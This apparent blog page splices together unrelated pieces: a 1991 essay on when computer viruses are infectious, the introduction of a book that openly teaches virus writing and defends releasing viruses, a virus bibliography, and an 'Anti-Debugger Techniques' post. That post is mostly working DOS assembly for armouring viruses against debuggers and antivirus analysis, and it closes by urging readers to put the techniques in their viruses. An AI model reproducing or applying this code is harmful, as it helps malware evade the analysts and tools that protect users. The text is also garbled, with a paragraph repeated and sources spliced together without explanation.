In attempting to protect against viral infection, and
particularly when trying to disinfect systems, it is important to
bear in mind the times that the virus is actively "infectious".
The viral activation is not the same as the activation of the
payload that a virus may carry. For example, the payload of the
original "Stoned" virus was a message which appeared on the
screen saying "Your PC is now Stoned!". This message only
appears at boot time, and on only one eighth of the times the
computer is rebooted. The virus, however, is infectious at all
times, if it has infected the hard disk.
There are basically three possibilities for the infectious
period: now ("one-shot"), during program run ("while called") or
from now on (resident). These periods may be modified by other
circumstances. A resident virus may remain in memory, but only
be actively infecting when a disk is accessed. A "while called"
virus may only infect a new program when a directory is changed.
"One-shot" viri only get one chance on each "run" of the infected
program. The viral code will seek out and infect a target
program. They then pass control to the original program, and
perform no further functions. These are, of course, the simplest
of the viral programs. Mainframe "mail" viri are generally of
this type.
The second class will activate when the infected program is
called, and then pass partial control to the original program.
The virus, however, will remain operational during the time that
the infected program is running. If this can be accomplished, it
is only a slight jump to write a fully memory resident virus.
Resident viri are the most successful, and the most dangerous, of
viral programs. A resident virus will become active when an
infected program is run (or at boot time for boot sector
infectors), and remain active until the computer is rebooted or
turned off. (Some viral programs are even able to trap the
rebooting sequence that is normally called when you press Ctrl-
Alt-Del on an MS-DOS PC, and thus are able to survive a "warm
boot.") The most successful of the file infectors, the Jerusalem
virus, is resident, as are all boot sector infectors. (For
fairly obvious reasons; the boot sector is never "called" in
normal operation.)
If a virus is active in memory, it is a waste of time trying to
disinfect a file or disk. No sooner is the file "cleaned", than
it becomes a suitable target for re-infection. You may try to
disinfect a hard disk right down to performing a low level
format: as soon as the disk is reformatted it may be infected all
over again. This is why all directions for disinfection stress
the necessity of "cold" booting from a disk that is known to be
free of infection before attempting any cleanup.
copyright Robert M. Slade, 1991 FUNGEN5.CVP 910828
Friday, January 16, 2015
Viral activation
The Little Black Book Of Computer Viruses
---
WARNING: This book contains complete source code for live
computer viruses which could be extremely dangerous in the hands
of incompetent persons. You can be held legally liable for the
misuse of these viruses, even if such misuse is unintentional. Do
not attempt to execute any of the code in this book unless you
are well versed in systems programming for personal computers,
and you are working on a carefully controlled and isolated
computer system. Dont screw your self (Pardon my language)
---
The Little Black Book Of Computer Viruses
Volume One:
The Basic Technology
By Mark A. Ludwig
============
INTRODUCTION
============
This is the first part in a series of three books about
computer viruses. In these volumes, I want to challenge you to
think in new ways about viruses, and break down false concepts
and wrong ways of thinking, and go on from there to discuss the
relevance of the computer viruses in today's world. These books
are not a call to a witch hunt, or manuals for protecting
yourself from viruses. On the contrary, they will teach you how
to design viruses, deploy them, and make them better. All three
volumes are full of source code for viruses, including both new
and well known varieties.
It is inevitable that these books will offend some people.
In fact, I hope they do. They need to. I am convinced that
computer viruses are not evil and that programmers have the right
to create them, posses them and experiment with them. That kind
of a stand is going to offend a lot of people, no matter how it
is presented. Even a purely technical treatment of viruses which
simply discussed how to write them and provided some examples
would be offensive. The mere thought of a million well armed
hackers out there is enough to drive some bureaucrats mad. These
books go beyond a technical treatment, though, to defend the idea
that viruses can be useful, interesting, and just plain fun. That
is bound to prove even more offensive. Still, the truth is the
truth, and it needs to be spoken, even if it is offensive. Morals
and ethics cannot be determined by a majority vote, any more than
they can be determined by the barrel of a gun or loud mouth.
Might does not make right.
If you turn out to be one of those people who gets offended
or upset, or if you find yourself violently disagreeing with
something I say, just remember what an athletically minded friend
of mine once told me: "No pain, no gain." That was in reference
to muscle building, but the principle applies intellectually as
well as physically. If someone only listens to people he agrees
with, he will never grow and he'll never succeed beyond his
little circle of yes-men. On the other hand, a person who listens
to different ideas at the risk of offense, and who at least
considers that he might be wrong, cannot but gain from it. So if
you are offended by something in this book, please be critical -
both of the book and of yourself- and don't fall into a rut and
let someone else tell you how to think.
From the start I want to stress that I do not advocate
anyone's going out and infecting an innocent party's computer
system with a malicious virus designed to destroy valuable data
or bring their system to a halt. That is not only wrong, it is
illegal. If you do that, you could wind up in jail or find
yourself being sued for millions. However, this doesn't mean that
it is illegal to create a computer virus and experiment with it,
even though I know some people wish it was. If you do create a
virus, though, be careful with it. Make sure you know it is
working properly or you may wipe out your own system by accident.
And make sure you don't inadvertently release it into the world,
or you may find yourself in a legal jam... Even if it was just an
accident. The guy who loses a year's worth of work may not be so
convinced that it was an accident. And soon, it may be illegal to
infect a computer system (even your own) with a benign virus
which does no harm at all. The key word here is responsability.
Be responsible. If you do something destructive, be prepared to
take responsability. "The program included in this book could be
dangerous if improperly used. Treat them with the respect you
would have for a lethal weapon."
This first of three volumes is a technical introduction to
the basics of writing computer viruses. It discusses what a virus
is and how it does its job, going into the major functional
components of the virus, step by step. Several different types of
viruses are developed from the ground up, giving the reader
practical how-to information for writing viruses. That is also a
prerequisite for decoding and understanding any viruses one may
run across in his day to day computing. Many people think of
viruses as sort of a black art. The purpose of this volume is to
bring them out of the closet and look at them matter-of-factly,
to see them for what they are, technically speaking: computer
programs.
The second volume discusses the scientific applications of
computer viruses. There is a whole new field of scientific study
known as artificial life (AL) research which is opening up as a
result of the invention of viruses and related entities. Since
computer viruses are functionally similar to living organisms,
biology can teach us a lot about them, both how they behave and
how to make them better. However, computer viruses also have the
potential to teach us something about living organisms. We can
create and control computer viruses in a way that we cannot yet
control living organisms. This allows us to look at life
abstractly to learn about what it really is. We may even reflect
on such great questions as the beginning and subsequent evolution
of life.
The third volume of this series discusses military
applications for computer viruses. It is well known that computer
viruses can be extremly destructive, and that they can be
deployed with minimal risk. Military organizations throughout the
world know that too, and consider the possibility of viral attack
both a very real threat and very real offensive option. Some high
level officials in various countries already believe their
computers have been attacked for political reasons. So the third
volume will probe military strategies and real-life attacks, and
dig into the development of viral weapon systems, defeating anti-
viral defenses, etc.
You might be wondering at this point why you should spend
time studying these volumes. After all, computer viruses
apparently have no commercial value apart from their military
applications. Learning how to write them may not make you more
employable, or give you new techniques to incorporate into
programs. So why waste time with them, unless you need then to
sow chaos among your ennemies? Let me try to answer that: Ever
since computers were invented in the 1940's, there has been a
brotherhood of people dedicated to exploring the limitless
possibilities of these magnificent machines. This brotherhood has
included famous mathematicians and scientists, as well as
thousands of unnamed hobbyists who built their own computers, and
programmers who love to dig into the heart of their machines. As
long as computers have been around, men have dreamed of
intelligent machines which would reason, and act without being
told step by step just what to do. For many years this was purely
science fiction. However, the very thought of this possibility
drive some to attempt to make it a reality. This "artificial
intelligence" was born. Yet AI applications are often driven by
commercial interests, and tend to be colored by the fact. Typical
results are knowledge bases and the like - useful, sometimes
exciting, but also geared toward putting the machine to use in a
specific way, rather that to exploring it on its own terms.
The computer virus is a radical new approach to this idea of
"living machines." Rather that trying to design something which
poorly mimics highly complex human behavior, one starts by trying
to copy the simplest of living organisms. Simple one-celled
organisms don't do very much. The most primitive organisms draw
nutrients from the sea in the form of inorganic chemicals, and
take energy from the sun, and their only goal is apparently to
survive and to reproduce. They aren't very intelligent, and it
would be tough to argue about their metaphysical aspects like
"soul." Yet they do what they were programmed to do, and they do
it very effectively. If we were to try to mimic such organisms by
building a machine - a little robot - which went around
collecting raw materials and putting them together to make
another robot, we would have a very difficult task on our hands.
On the other hand, think of a whole new universe - not this
physical world, but an electronic one, which exists inside of a
computer. Here is the virus' world. Here it can "live" in a sense
not too diffrentt from that of primitive biological life. The
computer virus has the same goal as a living organism - to
survive and to reproduce. It has environmental obstacles to
overcome, which could "kill" it and render it inoperative. And
once it is released, it seems to have a mind of its own. It runs
off in its electronic world doing what it was programmed to do.
In this sense it is very much alive.
There is no doubt that the beginning of the life was an
important milestone in the history of the earth. However, if one
tries to consider it from the viewpoint of inanimate matter, it
is difficult to imagine life as being much more than a nuisance.
We usually assume that life is good and that it deserves to be
protected. However, one cannot take a step further back and see
life as somehow beneficial to the inanimate world. If we consider
only the atoms of the universe, what difference does it make if
the temperature is seventy degrees farenheit or twenty million?
What difference would it make if the earth were covered with
radioactive materials? None at all. Whenever we talk about the
environment and ecology, we always assume that life is good and
that it should be nurtured and preserved. Living organisms
universally use the inanimate world with little concern for it,
from the smallest cell which freely gathers the nutrients it
needs and pollutes the water it swims in, right up to the man who
crushes up rocks to refine the metals out of them and build
airplanes. Living organisms use the material world as they see
fit. Even when people get upset about something like strip
mining, or an oil spill, their point of reference is not that of
inanimate nature. It is an entirely selfish concept (with respect
to life) that motivates them. The mining mars the beauty of the
landscape - a beauty which is in the eye of the (living) beholder
- and it makes it unhabitable. If one did not place a special
emphasis on life, one could just as well promote strip mining as
an attempt to return the earth to its pre-biotic state!
I say all of this not because I have a bone to pick with
ecologists. Rather I want to apply the same reasoning to the
world of computer viruses. As long as one uses only financial
criteria to evaluate the worth of a computer program, viruses can
only be seen as a menace. What do they do besides damage valuable
programs and data? They are ruthless in attempting to gain access
to the computer system resources, and often the more ruthless
they are, the more successful. Yet how does that differ from
biological life? If a clump of moss can attack a rock to get some
sunshine and grow, it will do so ruthlessly. We call that
beautiful. So how different is that a computer virus attaching
itself to a program? If all one is concerned about is the
preservation of inanimate objects (which are ordinary programs)
in this electronic world, then of course viruses are a nuisance.
But maybe there is something deeper here. That all depends
on what is most important to you, though. It seems that modern
culture has degenerated to the point where most men have no
higher goals in life than to seek their own personal peace and
prosperity. By personal peace, I do not mean freedom from war,
but a freedom to think and believe whatever you want without ever
being challenged in it. More bluntly, the freedom to live in a
fantasy world of your own making. By property, I mean simply an
ever increasing abundance of material possessions. Karl Marx
looked at all of mankind and said that the motivating force
behind every man is his economic well being. The result, he said,
is that all of history can be interpreted in terms of class
struggles - people fighting for economic control. Even though
many in our government decry Marx as the father of communism, our
nation is trying to squeeze itself into the straight jacket he
has laid for us. That is why two of George Bush most important
campaign promises were "four more years of prosperity" and "no
new taxes." People vote for their wallets, even when they know
the politicians are lying through their teeth.
In a society with such values, the computer becomes merely a
resource which people use to harness an abundance of information
and manipulate it to their advantage. If that is all there is to
computers, then computer viruses are a nuisance, and they should
be eliminated. Surely there must be some nobler purpose for
mankind than to make money, though, even though that may be
necessary. Marx may not think so. The government may not think
so. And a lot of loud-mouthed people may not think so. Yet great
men from every age and every nation testify to the truth that man
does have a higher purpose. Should we not be as Socrates, who
consider himself ignorant, and who sought Truth and Wisdom, and
valued them more highly than silver and gold? And if so, the
question that really matters is not how computers can make us
wealthy or give us power over others, but how they might make us
"wise". What can we learn about ourselves? About our world and,
yes, maybe even about God? Once we focus on that, computer
viruses become very interesting. Might we not understand life a
little better if we can create something similar, and study it,
and try to understand it? And if we understand life better, will
we not understand our lives, and our world better as well?
A word of caution first: Centuries ago, our nation was
etablished on philosophical principles of good government, which
were embodied in the Declaration of Independence and
Constitution. As personal peace and prosperity have become more
important than principles of good government, the principles have
been manipulated and redefined to suit the whims of those who are
in power. Government has become less and less sensitive to civil
rights, while it has become easy for various political and
financial interests to manipulate our leaders to their adventage.
Since people have largely ceased to challenge each other in
what they believe, accepting instead the idea that whatever you
want to believe is OK, the government can no longer get people to
obey the law because everyone believes in a certain set of
principles upon which the law is founded. Thus, government must
coerce people into obeying it with increasingly harsh penalities
for disobedience - penalities which often fly in the face of long
established civil rights. Furthermore, the government must
restrict the average man's ability to seek recourse. For example,
it is very common for the government to trample all over long-
standing constitutional rights when enforcing the tax code. The
IRS routinely forces hundreds of thousands of people to testify
against themselves. It routinely puts the burden of proof on the
accused, seizes his assets without trial, etc., etc. The bottom
line is that it is not expedient for the government to collect
money from its citizens if it has to proove their tax documents
wrong. The whole system would break down in a massive overload.
Economically speaking, it is just better to put the burden of
proof on the citizen, Bill of Rights or no.
Likewise, to challenge the government on a question of
rights is practically impossible, unless your case happens to
serve the purposes of some powerful special interest group. In a
standard courtroom, one often cannot even bring up the subject of
constitutional rights. The only question to be argued is whether
or not some particular law was broken. To appeal to the Supreme
Court will cost millions, if the politically motivated justices
will even condescend to hear to case. So the government becomes
pratically all-powerful, God walking on earth, to the common man.
One man seems to have little recourse but to blindy obey those in
power.
When we start talking about computer viruses, we're treading
on some ground that certain people want to post a "No Trepassing"
sign on. The congress of the United States has considered a
"Computer Virus Eradication Act" which would make it a felony to
write a virus, or for two willing parties to exchange one. Never
mind that the constitution garantees freedom of speech and
freedom of the press. Never mind that it garantees the citizens
the right to bear military arms (and viruses might be so
classified). While that law has not passed as of this writing, it
may by the time you read this book. If so, I will say without
hesitation that it is a miserable tyranny, but one that we can do
little about... for now.
Some of our leaders may argue that many people are not
capable of handling the responsability of power that comes with
understanding computer viruses, just as they argue that people
are not able to handle the power of owning assault rifles or
machine guns. Perhaps some cannot. But I wonder, are our leaders
any better able to handle the much more dangerous weapons of law
and limitless might? Obviously they think so, since they are busy
trying to centralize all power into their own hands. I disagree.
If those in government can handle power, then so can the
individual. If the individual cannot, then neither can his
representatives, and our end is either tyranny or chaos anyhow.
So there is no harm in attempting to restore some small power to
the individual.
But remember: truth seekers and wise men have been
persecuted by powerful idiots in every age. Although computer
viruses may be very interesting and worthwhile, those who take an
interest in them may face some serious challenges from base men.
So be careful.
Now join with me and take the attitude of early scientists.
These explorers wanted to understand how the world worked - and
whether it could be turned to a profit mattered little. They were
trying to become wiser in what's really important by
understanding the world a little better. After all, what value
could there be in building a telescope so you could see the moons
around Jupiter? Galileo must have seen something in it, and it
must have meant enough to him to stand up to the ruling
authorities of his day and do it, and talk about it, and
encourage others to do it. And to land in prison for it. Today
some people are glad he did.
So why not take the same attitude when it comes to creating
life on a computer? One has to wonder where it might lead. Could
there be a whole new world of electronic life forms possible, of
which computer viruses are only the most rudimentary sort?
Perhaps, they are the electronic analog of the simplest one-
celled creatures, which were only the tiny beginning on life on
earth. What would be the electronic equivalent of a flower, or a
dog? Where could it lead? The possibilities could be as exciting
as the idea of a man actually standing on the moon would have
been to Galileo. We just have no idea.
There is something in certain men that simply drives them to
explore the unknown. When standing at the edge of a vast ocean
upon which no ship ever sailed, it is difficult not to wonder
what lies beyond the horizon just because the rules of the day
tell you you're going to fall of the edge of the world (or
they're going to push you off) if you try to find out. Perhaps
they are right. Perhaps there is no value out there. Yet great
explorers down trough the ages have explored other oceans and
succeeded. And one thing is for sure: we'll never know if someone
doesn't look. So I would like to invite you to climb aboard the
little mast that I have built and go exploring...
---
Bibliography on Viruses.
The following is a list of books on the subject of computer
viruses and virus-related topics that I have accumulated over the
years. It is not meant to be all-inclusive or a complete guide
on the subject and inclusion here is not to be concluded as being
an endorsement of any sort.
Aryeh Goretsky TEL: (408) 988-3832
Mgr, Tech Support Dept FAX: (408) 970-9727
McAfee Associates, Inc. BBS: (408) 988-3832
3350 Scott Blvd, Bldg 14 CIS: 76702,1714 Santa
Clara, CA 95054-3107 Internet:
aryehg@mcafee.COM
_________________________________________________________________
Burger, Ralf. COMPUTER VIRUSES: A HIGH-TECH DISEASE, 3rd Ed.
Abacus Press, Grand Rapids, MI: 1989. 276pp
______, ____. COMPUTER VIRUSES AND DATA PROTECTION. Abacus
Press, Grand Rapids, MI: 1991. 353pp
Denning, Peter J., Ed. COMPUTERS UNDER ATTACK: INTRUDERS, WORMS
AND VIRUSES, ACM PRESS: 1990. 554pp
Ferreyra Cortes, Gonzalo. VIRUS EN LAS COMPUTADORAS (in Spanish),
Macrobit, Miami, FL: 1990.
Fites, Philip, Peter Johnston, and Martin Kratz. COMPUTER VIRUS
CRISIS, THE, Van Nostrand Reinhold, NY: 1989. 171pp
Haynes, Colin. THE COMPUTER VIRUS PROTECTION HANDBOOK, Sybex,
Alameda, CA: 1990. 192pp
Hoffman, Lance J, Ed. ROGUE PROGRAMS: VIRUSES, WORMS, AND TROJAN
HORSES, Van Nostrand Reinhold, NY: 1990. 384pp
Hruska, Jan. COMPUTER VIRUSES AND ANTI-VIRUS WARFARE. Ellis
Horwood, Ltd., West Sussex, UK: 1990. 128pp
Jacobson, Robert V. THE PC VIRUS CONTROL HANDBOOK, 2nd Edition,
Miller Freeman Publications, NY: 1990. 162pp
________, ________. USING McAFEE ASSOCIATES SOFTWARE FOR SAFE
COMPUTING. International Security Technology, NY: 1992. 143pp
Jarvinen, Petteri. TIETOKONE VIRUKSET (in Finnish), Werner
Soderstrom Osakeyhtio, Helsinki: 1990. 226pp
Javeri, Harsh, and Suchit Nanda. WAR ON VIRUS, The Computer Book
Shop, Bombay: 1990. 292pp
Lundell, Allan. VIRUS! THE SECRET WORLD OF COMPUTER INVADERS THAT
BREED AND DESTROY. Contemporary Books, Chicago: 1989. 189pp
McAfee, John, and Colin Haynes. COMPUTER VIRUSES, WORMS, DATA
DIDDLERS, KILLER PROGRAMS AND OTHER THREATS TO YOUR SYSTEM. St
Martins, NY: 1988. 235pp
The following books, while not specifically about computer
viruses, contain information that may be of interest:
Baker, Richard H. COMPUTER SECURITY HANDBOOK, 2nd Ed. TAB Books,
Blue Ridge Summit, PA: 1991. 416pp
DeMaio, Harry B. INFORMATION PROTECTION AND OTHER UNNATURAL
ACTS., AMACOM, New York: 1992. 232pp
Forester, Tom, and Perry Morrison. COMPUTER ETHICS: CAUTIONARY
TALES AND ETHICAL DILEMMAS IN COMPUTING. MIT Press, Cambridge:
1990. 193pp
Jennings, Karla. THE DEVOURING FUNGUS: TALES OF THE COMPUTER AGE,
WW Norton & Co., NY: 1990. 237pp
Mueller, Scott. QUE'S GUIDE TO DATA RECOVERY. QUE Corporation,
Carmel, IN: 498pp
National Research Council. COMPUTERS AT RISK: SAFE COMPUTING IN
THE INFORMATION AGE. National Academy Press, Washington DC: 1991.
303pp
Raymond, Eric, Ed. THE NEW HACKERS DICTIONARY., MIT Press,
Cambridge: 1991. 433pp
Rothman, David H. THE COMPLETE LAPTOP COMPUTER GUIDE, St Martins,
NY: 1990. 384pp
Sawicki, Ed. LAN DESKTOP GUIDE TO SECURITY, SAMS, Carmel, IN:
1992. 349pp
Wilson, Ralph. HELP! THE ART OF COMPUTER TECHNICAL SUPPORT,
Peachpit Press, Berkeley: 1991. 231pp
=================================================================
Anti-Debugger Techniques
Hi
I have been taking a time off from writing my blogs. here I am writing again..
Many of us have gone through debugging and so on.
This topic is just for educational purposes only and i have adopted it from various sites and bit of research.
I am not responsible for any of your action.
I have been taking a time off from writing my blogs. here I am writing again..
Many of us have gone through debugging and so on.
This topic is just for educational purposes only and i have adopted it from various sites and bit of research.
I am not responsible for any of your action.
There are many simple and trivial ways to thwart debuggers. This document will deal mainly with more advanced methods.
Perhaps the most obvious way to kill a debugger, is to overwrite the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug Break Point). This can be defeated by simply skipping the instructions. Another thing you could do, is place an INT 3 in a long loop, which will cause the debugger to stop at the INT 3 each iteration, which will stop the AV from simply proceeding through the loop. This is very easilly defeated by NOP'ing out the INT 3.
Another thing to do, is turn of the keyboard. There are manyways
to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ
OR AL,02
OUT AL,20
<virus code>
IN AL,20 ;Enable Keyboard IRQ
AND AL,NOT 2
OUT AL,20
Anti-Debugger Techniques: Interrupt Replacement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This technique involves replacing the vector of a INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of INT
replacement from the virus [H8urNMEs]. It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:
------------------------------------------------------------------------
mov ax,3503
int 21
mov int_3_seg,es
mov int_3_off,bx
lds dx, site_traced_off
mov ax,2503
int 21
mov ds,cs
mov ax,3524
int 3
mov int_24_seg,es
mov int_24_off,bx
------------------------------------------------------------------------
It simply makes INT 3 point to DOS, and uses this fact to fetch
the INT 24 vector.
Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
When tracing through code, with INT 1, the 6 bytes below SP are
overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
to take advantage of this fact. The first is to PUSH a value on to the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:
------------------------------------------------------------------------
PUSH AX
POP AX
DEC SP
DEC SP
POP BX ;BX should point to the pushed AX.
CMP AX,BX
JNE CODE_IS_TRACED
------------------------------------------------------------------------
The second way is to store a critigal value like a Decryption
key in SP. This value should also point to the code, and you should NOT
use any stack operations. This way, if a debugger is running, the code
that SP points to will be overwritten. Here is a complete program to
illustrate it. To make it run properly, you must have to encrypt it. I
will not how you how.. If you can not work it out you should not even be
reading this. It also has the added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:
------------------------------------------------------------------------
;STACK.ASM
radix 16
elength equ (end - estart)/2
org 100
mov bp,sp
cli
mov sp,estart
sti
mov bx,sp
mov cx,elength
eloop: xor cs:[bx],sp ;SP is decryption key.
inc bx
inc bx ;If a Debugger is running,
cli ;All the code after ESTART will be
add sp,6 ;overwritten.
sti
loop eloop
estart:
cli
mov sp,bp
sti
mov ah,9
mov dx,offset msg - 12
add dx,12
int 21
mov ah,4c
int 21
msg db 'Yeah!!$'
end:
Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This is a lot easier to do then it sounds. Basically, all you have
to do is retreive a byte from the Anti - Debugger routines each time, and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:
------------------------------------------------------------------------
;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.
mov dl,0aa ;initial key.
decrypt: mov di,offset dec_start
mov cx,dec_length
mov si,offset decrypt ;offset of code to use
;to modify decryption key.
dec_loop: lodsb ;AL=byte from anti-debug
;routines
add dl,al ;MODIFY KEY. If code has been
;modified, the key will be
;wrong.
xor [di],dl ;decrypt
inc di
call anti_debug ;kill debuggers.
;this call cant be NOP'd out,
;as it is part of the Decrypt
;key.
cmp si,offset end_ad ;if SI has reached end of
jne no_fix ;anti-debug code, reset it.
mov si,offset decrypt
no_fix: loop dec_loop
jmp dec_start ;JMP past Anti_Debug to
;the newly decrypted code..
Anti_Debug: in al,20 ;get IRQ status.
or al,2 ;Disable IRQ 1 (keyboard)
out 20,al
int 3 ;stop the debugger on each loop (you cant
int 3 ;NOP these out!), note that when the debugger
;stops here, the keyboard will be disabled,
;so the can't do any thing!
push ax
push ds
xor ax,ax
mov ds,ax
xchg ax,[4] ;Kill INT 1
int 3 ;Fuck with their heads
xchg ax,[4] ;restore INT 1
pop ds
mov ax,offset ad_jmp ;destination of JMP
push ax
pop ax
dec ax
dec ax ;if this code was traced, AX will no longer
pop ax ;be equal to the JMP destination
jmp ax
pop ax
ret
(BELOW CODE IS ENCRYPTED)
dec_start: in al,20
and al,NOT 2
out 20,al ;Re-Enable Key board..
<REST OF VIRUS CODE>
------------------------------------------------------------------------
Anti-Debugger Techniques: The Running Line
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The last method, I am going to illustrate, is called the Running
Line. It is VERY resistant to debuggers. It involves hooking INT 1, and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.
------------------------------------------------------------------------
;RUNLINE.ASM
radix 16
org 100
xor ax,ax ;ax=0
mov es,ax ;es=ax=0
mov di,es:W[4]
mov si,es:W[6] ;save int 1 vector
mov es:W[4],offset tracer
mov es:W[6],cs ;int1 = cs:tracer
mov bp,sp
pushf
or B[bp-1],1 ;set TRACE flag
popf ;set it
xor dx,dx ;this serves no purpose, and
;is just here because the first
;instruction after setting the
;flag is not traced.
;**********************************************************************
;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's **
;** run). Thats why each word is XOR'd with $ (it's position). **
;**********************************************************************
dw 01f0e XOR $ ;PUSH CS / POP DS
dw 009b4 XOR $ ;MOV AH,9h
dw 0ba90 XOR $ ;NOP / MOV DX,
dw offset msg ;offset msg
dw 021cd XOR $ ;INT 21h
dw 0e589 XOR $ ;MOV BP,SP
dw 06680 XOR $ ;AND B[BP+,
dw 0feff ;FF],FE (turn off TRACE flag).
last_enc equ $
dw 0bb9d XOR $ ;POPF / MOV BX,
dw last_enc ;LAST_ENC
xor cs:W[bx],bx ;re-encrypt last instruction..
mov es:W[4],di
mov es:W[6],si ;restore int 1 vector
mov ah,4c
int 21
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
; NOP
; MOV DX,OFFSET MSG
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.
;**********************************************************************
;** The following procedure, is the work horse of this code. The CPU **
;** will call this INT 1 handler before each opcode as long as the **
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
;** virii, this contains no defensive traps. This is because we are **
;** tracing our own code, and not unknown (possibly hostile) code. **
;** It retrieves the calling IP from the stack, and if it is odd, **
;** exits. If even, it will re-encrypt the previous instruction, and **
;** decrypt the current one. It saves the calling IP, so that it can **
;** re-encrypt it when it is called for the next instruction. **
;**********************************************************************
tracer:
push bp ;save BP
mov bp,sp ;BP=SP for reference point of stack.
push si ;save SI
mov bp,W[bp+2] ;BP = calling IP (position of
;encrypted instruction).
test bp,1 ;check if on an odd boundry..
jnz is_odd ;it is so leave.
mov si,cs:last ;else get the position of the last
;decrypted instruction to reincrypt.
mov cs:last,bp ;save current position for next time.
xor cs:W[si],si ;re-encrypt last (XOR it with its IP)
xor cs:W[bp],bp ;decrypt current (XOR it with its IP)
is_odd:
pop si ;restore SI
pop bp ;restore BP
iret ;adeos!
last dw 0 ;last IP for re-encrpytion..
msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!!
------------------------------------------------------------------------
CONCLUSION
~~~~~~~~~~
-TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER-
I STRONGLY urge you to employ the above techniques in your virii
and/or poly engine. If your virus refuses to infect bait files, is VERY
heavilly armoured, so the can not decrypt it, and dissasemble it, and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorith for such a virus would be _VERY_ difficult.
finally i would like to thank the people behind this..
Subscribe to:
Posts (Atom)